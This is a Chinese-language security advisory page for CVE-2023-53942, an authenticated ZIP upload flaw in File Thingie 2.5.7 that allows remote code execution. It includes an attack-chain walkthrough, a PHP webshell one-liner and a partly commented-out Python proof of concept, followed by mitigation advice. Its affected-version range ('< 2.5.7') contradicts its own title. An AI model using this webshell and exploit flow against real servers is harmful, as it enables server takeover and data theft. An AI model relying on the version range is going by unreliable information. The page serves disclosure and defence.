IPBUF安全漏洞报告
English
CVE-2023-53942 CVSS 8.8 高危

CVE-2023-53942 File Thingie 2.5.7 认证文件上传导致远程代码执行漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2023-53942
漏洞类型
认证文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
File Thingie 2.5.7

相关标签

文件上传漏洞远程代码执行CVE-2023-53942File Thingie认证绕过ZIP解压PHP高危漏洞

漏洞概述

CVE-2023-53942是File Thingie 2.5.7版本中存在的一个严重安全漏洞。该漏洞属于经过身份验证的文件上传漏洞,CVSS评分高达8.8分,具有高严重性。File Thingie是一款基于Web的文件管理系统,广泛用于网站管理员进行远程文件管理操作。漏洞源于该应用在处理文件上传请求时缺乏充分的输入验证和安全检查。攻击者只需拥有低权限用户账号,即可利用此漏洞向Web服务器上传包含恶意PHP脚本的ZIP压缩包文件。上传成功后,攻击者可以解压并执行这些恶意脚本,从而在服务器上执行任意系统命令,实现远程代码执行(RCE)。由于该漏洞可通过网络远程利用,且不需要用户交互,攻击门槛相对较低,对使用该版本File Thingie的服务器构成严重威胁。攻击成功后,攻击者可完全控制目标服务器,窃取敏感数据、植入后门或进一步横向移动。

技术细节

该漏洞的核心问题在于File Thingie的文件上传功能存在安全缺陷,允许上传任意文件类型包括恶意PHP脚本。具体来说:

1. **漏洞位置**:File Thingie的文件上传模块(通常为ft.upload.php或类似处理文件上传的脚本)

2. **漏洞原理**:应用在接收ZIP压缩包时,仅检查文件大小和基本格式,但未对压缩包内的文件内容进行安全扫描。攻击者可以创建一个包含恶意PHP脚本的ZIP文件,通过正常上传接口提交

3. **利用流程**:
- 攻击者创建恶意PHP文件(如cmd.php,包含system($_GET['cmd']))
- 将恶意PHP文件压缩为ZIP格式
- 使用低权限账号登录File Thingie
- 通过文件上传功能上传ZIP压缩包
- 利用应用的文件解压功能解压ZIP文件
- 访问解压后的PHP文件并通过URL参数执行系统命令

4. **漏洞危害**:恶意PHP脚本可执行任意系统命令,包括读取敏感配置文件、创建后门账户、下载其他恶意工具等操作。由于Web服务器通常以较高权限运行,攻击者可获得服务器完整控制权。

攻击链分析

STEP 1
步骤1
创建恶意PHP脚本:编写包含system()函数的PHP文件用于执行系统命令,如cmd.php内容为<?php system($_GET['cmd']); ?>
STEP 2
步骤2
打包恶意文件:将恶意PHP脚本压缩为ZIP格式文件,便于绕过部分文件上传限制
STEP 3
步骤3
获取有效认证:使用低权限账号登录File Thingie管理系统,获取有效会话cookie
STEP 4
步骤4
上传恶意压缩包:通过文件上传接口将包含恶意PHP的ZIP文件上传到服务器
STEP 5
步骤5
解压文件:利用File Thingie的ZIP解压功能将压缩包内容解压到Web可访问目录
STEP 6
步骤6
触发代码执行:通过HTTP请求访问解压后的PHP文件,在URL参数中传入系统命令
STEP 7
步骤7
获得服务器控制权:成功执行系统命令后可进行权限提升、植入后门、横向移动等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2023-53942 PoC - File Thingie 2.5.7 Authenticated File Upload RCE """ import zipfile import io import requests # Create malicious PHP payload php_payload = b'<?php system($_GET["cmd"]); ?>' # Create ZIP archive with PHP file zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: zip_file.writestr('cmd.php', php_payload) zip_buffer.seek(0) # Target configuration TARGET_URL = "http://target.com/filethingie/" USERNAME = "lowpriv_user" PASSWORD = "password123" # Login to get session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } # session.post(TARGET_URL + "ft.login.php", data=login_data) # Upload the malicious ZIP file # files = {"file": ("malicious.zip", zip_buffer, "application/zip")} # response = session.post(TARGET_URL + "ft.upload.php", files=files) # Unzip the uploaded file # unzip_data = {"file": "malicious.zip"} # session.post(TARGET_URL + "ft.unzip.php", data=unzip_data) # Execute command via uploaded PHP # response = session.get(TARGET_URL + "uploads/cmd.php?cmd=whoami") # print(response.text)

影响范围

File Thingie < 2.5.7

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)禁用File Thingie的文件上传和ZIP解压功能;2)通过Web服务器配置禁止上传目录中的PHP文件执行;3)限制低权限用户的上传操作权限;4)使用mod_security等WAF规则阻止恶意文件上传请求;5)监控日志中的异常文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表